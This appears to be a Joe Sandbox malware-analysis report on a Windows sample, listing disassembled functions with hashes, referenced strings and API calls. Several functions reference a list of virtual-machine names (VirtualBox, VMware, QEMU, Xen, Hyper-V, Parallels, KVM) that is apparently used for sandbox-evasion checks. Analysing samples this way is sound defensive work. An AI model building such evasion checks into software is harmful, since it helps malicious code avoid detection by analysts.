Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID: Authenti$GenuineI$HygonGen
API String ID: 0-696657513
Opcode ID: 9dbf57bd29ded03597238e77f78506ede310607914066700f8c9cb9e781dd6de
Instruction ID: cafeb958e316903437a5d4e19eb134d4edc63109b407c3db753d6a50806b3617
Opcode Fuzzy Hash: 9dbf57bd29ded03597238e77f78506ede310607914066700f8c9cb9e781dd6de
Instruction Fuzzy Hash: 7B917FA7B2595102FB5C8995BD32BB94C92B3687C8F58A03DEE6F97BC4DD7CC9118200

Function 00007FF7B903D000 Relevance: 1.6, Strings: 1, Instructions: 395COMMON

Download Yara Rule

Strings

punycode{-}0, xrefs: 00007FF7B903D53C

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID: punycode{-}0
API String ID: 0-2450133883
Opcode ID: 97c5819379e5ee1c581f9b4e4d140716286a02ff531cc5872d525446b3a5b513
Instruction ID: 3cec79a3bdbb06e3d7dd483340a2dae554b6b26793042fc0c34354597b0a49f1
Opcode Fuzzy Hash: 97c5819379e5ee1c581f9b4e4d140716286a02ff531cc5872d525446b3a5b513
Instruction Fuzzy Hash: 0DE11A62F1C69646FB609F2995047F9A6A5BB6E7D8F804231CF2D07BC8DE3CE5458320

Function 00007FF7B9046CA0 Relevance: 1.6, Strings: 1, Instructions: 382COMMON

Download Yara Rule

Strings

00000000, xrefs: 00007FF7B9046CF0

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID: 00000000
API String ID: 0-3221785859
Opcode ID: 4eeb912c39fe0b6fd1cdb7a9e74c198c1b0e3baab5bcb6297cfd9094762d58d7
Instruction ID: ea419475e54f1acfcc338e99d8edc2b72dd55d3a960ee9be2c3d21f5a9dea5b7
Opcode Fuzzy Hash: 4eeb912c39fe0b6fd1cdb7a9e74c198c1b0e3baab5bcb6297cfd9094762d58d7
Instruction Fuzzy Hash: D2D15F61F0965385FB25DE2DE4007B5A6B1AB72384F848632DF6D07BACEF38D9428310

Function 00007FF7B902AB10 Relevance: 1.5, APIs: 1, Instructions: 11timeCOMMON

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,?,?,?,?,00007FF7B901D6E0,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7B902AB26

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 27e9e6135f1f82144b39caf04fe9cc793f8d8504bb6f5267b953b58c82e1fef5
Instruction ID: eeea0269764fc71929181aa9296b934f156f2840c8b2583aa27bc2c978aff267
Opcode Fuzzy Hash: 27e9e6135f1f82144b39caf04fe9cc793f8d8504bb6f5267b953b58c82e1fef5
Instruction Fuzzy Hash: 6BD0923AB60A41EEE301DB74D4847AC7738A755308F940090DE5D52A58CB34D696CA64

Function 00007FF7B902BB60 Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 00007FF7B902BD41

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID: 0123456789abcdef
API String ID: 0-1757737011
Opcode ID: 1f7dc4a732e5e32f7183587c526e160b9137016290444ede52eefc1499fcd771
Instruction ID: b31c958b4ea8ec92a525689490ed4460001e43fe701e412f5bca9a0352288526
Opcode Fuzzy Hash: 1f7dc4a732e5e32f7183587c526e160b9137016290444ede52eefc1499fcd771
Instruction Fuzzy Hash: 21612452E185A259F715AF3845202FDBFB1AB27344F844539DFBA2B6E9CA3CD502D320

Function 00007FF7B9043930 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

0123456789abcdefBorrowMutErroralready borrowed: , xrefs: 00007FF7B90439C0, 00007FF7B9043ADF

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID: 0123456789abcdefBorrowMutErroralready borrowed:
API String ID: 0-1320686809
Opcode ID: 7187579c735241f4dfc3b45842631f3c3574dd8905b111c57d23c3362765d900
Instruction ID: 9737565c4cea66c194d35b44863376199fc3b424e6d80ba758341311c1f6c0c5
Opcode Fuzzy Hash: 7187579c735241f4dfc3b45842631f3c3574dd8905b111c57d23c3362765d900
Instruction Fuzzy Hash: 6E510F63F196E2AAE3219F7C9400A9C7F719F32B44F4490A4CF981BF9AC61AC115E761

Function 00007FF7B90384D0 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel, xrefs: 00007FF7B903866E

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID: USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
API String ID: 0-2313043791
Opcode ID: 388be00aa6fcc4f7e68e27d4eb5c03cb8b3c0634eb20838a9b5c367dac4ca083
Instruction ID: 0a864dcc3aa7b238693b62870ae1e74b0cf55354f61ffad48e2c30fdc50fd4eb
Opcode Fuzzy Hash: 388be00aa6fcc4f7e68e27d4eb5c03cb8b3c0634eb20838a9b5c367dac4ca083
Instruction Fuzzy Hash: A05187A2F1861244FB15AF59D9042B8E2B5BB297A4F848535DF6C436D8DF7CE5C1C220

Function 00007FF7B90242E0 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel, xrefs: 00007FF7B90242EB

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID: USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
API String ID: 0-2313043791
Opcode ID: 4462cddbd9253b614b80d496a6a895509d001ce948bc0c70f5788f88d1d9c494
Instruction ID: b4145161c71716922809aa9bde53d13f6662b45f26245d712a44acbff0df6ccb
Opcode Fuzzy Hash: 4462cddbd9253b614b80d496a6a895509d001ce948bc0c70f5788f88d1d9c494
Instruction Fuzzy Hash: D3313763A18AE245D7688E15E8046BAB778FB15790F905235DFBE023D0FBBCD590E310

Function 00007FF7B9011000 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel, xrefs: 00007FF7B9011018

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID: USERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
API String ID: 0-2313043791
Opcode ID: b3064131c55f79c0ee6adb8ff720aa2cdd455233e95fb1451f5bd72ba3873b7c
Instruction ID: 8e25aa9f76eb02e30ebe27135b381145169e5af867016d2b85523e2deff329e1
Opcode Fuzzy Hash: b3064131c55f79c0ee6adb8ff720aa2cdd455233e95fb1451f5bd72ba3873b7c
Instruction Fuzzy Hash: CF21D322F15A6288FF50AE69D4407ED6771BB15BE8F448035EF2D17B8DEE29D0418310

Function 00007FF7B902E030 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,?,00007FF7B902C1B5), ref: 00007FF7B904E221

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 8eb1d5c7623788cc2fe55e16711991210c9ba43385e143f39a3a39ebfd7e5168
Instruction ID: 4ad887e13cd75abb2314aa21652a61126330179ddfe1499888d7f0f098099823
Opcode Fuzzy Hash: 8eb1d5c7623788cc2fe55e16711991210c9ba43385e143f39a3a39ebfd7e5168
Instruction Fuzzy Hash: 67F0BB12B4AD4386F6556F4E6944174D2B46FAAF90F8C4034DF1C52398DE3CE9C29620

Function 00007FF7B901FCF0 Relevance: .6, Instructions: 628COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c20d947a120ca590f48418ecf91ee7b61298d06be275df6ba079d417f687728
Instruction ID: 0d2044f3b0bf5d7e2fc1abbab9074e4bfc6a7aa31143c5b72da66105081da7a1
Opcode Fuzzy Hash: 8c20d947a120ca590f48418ecf91ee7b61298d06be275df6ba079d417f687728
Instruction Fuzzy Hash: 2132F262B0879785FB11AE2984106F8B771AB37798FD44232EF6E22789DF78D545C320

Function 00007FF7B9011810 Relevance: .6, Instructions: 626COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 221ed2624c55a2e28807d3ce3963ad646ab2a21044d519d964c442750a414cd7
Instruction ID: 1640184f9877eb15c8ac91cd803924be67ca3941a50e1ddb8499b35c8fd55859
Opcode Fuzzy Hash: 221ed2624c55a2e28807d3ce3963ad646ab2a21044d519d964c442750a414cd7
Instruction Fuzzy Hash: 22322A22A1C6A385EA65AE2C90007B9E771EB777D4FC48631EBAD13799EF2CD145C310

Function 00007FF7B9027130 Relevance: .5, Instructions: 500COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorHandleLast
String ID:
API String ID: 2586478127-0
Opcode ID: b34943c36c60378abf8c1f298144ab8f735b3069bf5e9b792ee67a0488236842
Instruction ID: 78768be32a783094b98be9e655f30bbc4f462cfc0a2c4726f673feda6e74870c
Opcode Fuzzy Hash: b34943c36c60378abf8c1f298144ab8f735b3069bf5e9b792ee67a0488236842
Instruction Fuzzy Hash: C302DF62F1965796FA04AF2998043F9B6B0AF26788F908534DF2D53798DF3CF5818710

Function 00007FF7B90423B0 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85e6ecfb64c365217a0db7b32e2770df33e9e3503e4a9046a8bbb8d6648499f7
Instruction ID: 19f9d8525db1b155ba545b99434331025680c407d3fe8d8a9ea7088141b8d666
Opcode Fuzzy Hash: 85e6ecfb64c365217a0db7b32e2770df33e9e3503e4a9046a8bbb8d6648499f7
Instruction Fuzzy Hash: 64120952F18BE346F7526F3C58422B9D770AB6B3D4F445334EFA852A9ACF28D6418260

Function 00007FF7B9046080 Relevance: .4, Instructions: 365COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b83194662346546361f741b4b979d63a3320962cad3683241e97a7940b826e0
Instruction ID: 57bd5b3b1a5a9f23d7cae7276eb9b54b1e0b6c271d8927f723ddcb16872f2e3a
Opcode Fuzzy Hash: 9b83194662346546361f741b4b979d63a3320962cad3683241e97a7940b826e0
Instruction Fuzzy Hash: 36C15A22B1C6E652FA15DF299914BB9A671B722B94FC08130DF2E43BC8EF3CE5519310

Function 00007FF7B9039AF0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa981abc52c7698188d00a9c32d1fcc652a5a437a41808e292dde5593fa20b64
Instruction ID: 6bbc5d89701e76386ca0ca3df20d6a171952c495ea2af09ebd64a99314aaf1c0
Opcode Fuzzy Hash: aa981abc52c7698188d00a9c32d1fcc652a5a437a41808e292dde5593fa20b64
Instruction Fuzzy Hash: 3BC13692D1C293C4FB619E6C96417BAFAA1D72B764FD44230CB7D171DACA3CD9928320

Function 00007FF7B9045A90 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b35546d95137ae1cd189ec2b2a78a858d589c4872b4ecaf7bc022615416439d
Instruction ID: 566a4a1eb45f6960a65b081e57b9c99bed9d6cef00b44cc20c5aa73c088b7429
Opcode Fuzzy Hash: 9b35546d95137ae1cd189ec2b2a78a858d589c4872b4ecaf7bc022615416439d
Instruction Fuzzy Hash: 1CC1AD92E3DBA711F6235B3D54016B489305F737A0A81D336FE7E31BE5EB29E6429210

Function 00007FF7B902E060 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e7b30ffdeeab9917f631e5aa7c20e436b95b569e0a40d79cca50245ddd54367
Instruction ID: 11aad84f1c57167ffdc51058d20d482961adb8245e7e2e056dd857348abf5a5a
Opcode Fuzzy Hash: 9e7b30ffdeeab9917f631e5aa7c20e436b95b569e0a40d79cca50245ddd54367
Instruction Fuzzy Hash: 85C10462A58A4342EB259E2995002BEFEB1BF32788F945531DF7F067D8DE3CE5419220

Function 00007FF7B9042C20 Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37b4546647432975a8fffa9094ad510d30eedb15b9c04380023069877228475d
Instruction ID: 817a5c3b7707585c6f7c8d2dc256cfe92d18ad6044ffd1475f770c804a2e707e
Opcode Fuzzy Hash: 37b4546647432975a8fffa9094ad510d30eedb15b9c04380023069877228475d
Instruction Fuzzy Hash: A9D1B752F14FE646F3526B3C58032B9A334BFAB7D4F406334EFE455A5ADB7892428250

Function 00007FF7B9049318 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4be44de7018001e7f1b066c3ac6d0d446ad464c09974f8235d1753243f23d6b6
Instruction ID: c6db66cca0b86abc5c7917a5c391b675799fb9fa3f7a40c86691dc745d270b9a
Opcode Fuzzy Hash: 4be44de7018001e7f1b066c3ac6d0d446ad464c09974f8235d1753243f23d6b6
Instruction Fuzzy Hash: BFA00121908903A4E605AF18A8A0064A234AB67B11BC00471D22D815A99E3CE4409625

Function 00007FF7B904A73C Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7B904A799

Part of subcall function 00007FF7B904B6E0: __GetUnwindTryBlock.LIBCMT ref: 00007FF7B904B723
Part of subcall function 00007FF7B904B6E0: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7B904B748

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7B904A871
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7B904AABF
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7B904ABCC
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7B904ABE2
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7B904ABFF
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7B904AC05

Strings

csm, xrefs: 00007FF7B904A7B3
csm, xrefs: 00007FF7B904A894
csm, xrefs: 00007FF7B904A81A

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: BlockFrameHandler3::Unwindterminate$CatchExecutionHandlerIs_bad_exception_allowedSearchStateabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 9366333-393685449
Opcode ID: c0dbc96ef5fb765a35e6a1437dba457f804b00cf968a936fcde4d1b713db04b2
Instruction ID: 7bb3541288e545a3ab53056cd079f9818483a225c5efbaa3285bd7030ac4d2d9
Opcode Fuzzy Hash: c0dbc96ef5fb765a35e6a1437dba457f804b00cf968a936fcde4d1b713db04b2
Instruction Fuzzy Hash: DAD1A1329087428AEB20AF6A94403ADB7B5FB66788F910135DFAD4775ACF3CE491C750

Function 00007FF7B903B060 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 220libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,?,?,?,00000001,00000000,?,00007FF7B903AEE3), ref: 00007FF7B903B098
GetProcAddress.KERNEL32(?,?,?,?,00000001,00000000,?,00007FF7B903AEE3), ref: 00007FF7B903B0D0
GetProcAddress.KERNEL32(?,?,?,?,00000001,00000000,?,00007FF7B903AEE3), ref: 00007FF7B903B10A
GetProcAddress.KERNEL32(?,?,?,?,00000001,00000000,?,00007FF7B903AEE3), ref: 00007FF7B903B170
GetProcAddress.KERNEL32(?,?,?,?,00000001,00000000,?,00007FF7B903AEE3), ref: 00007FF7B903B1A3

Strings

SymGetLineFromInlineContextW, xrefs: 00007FF7B903B103
SymAddrIncludeInlineTrace, xrefs: 00007FF7B903B169
SymFromInlineContextW, xrefs: 00007FF7B903B0C9
SymQueryInlineTrace, xrefs: 00007FF7B903B19C

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

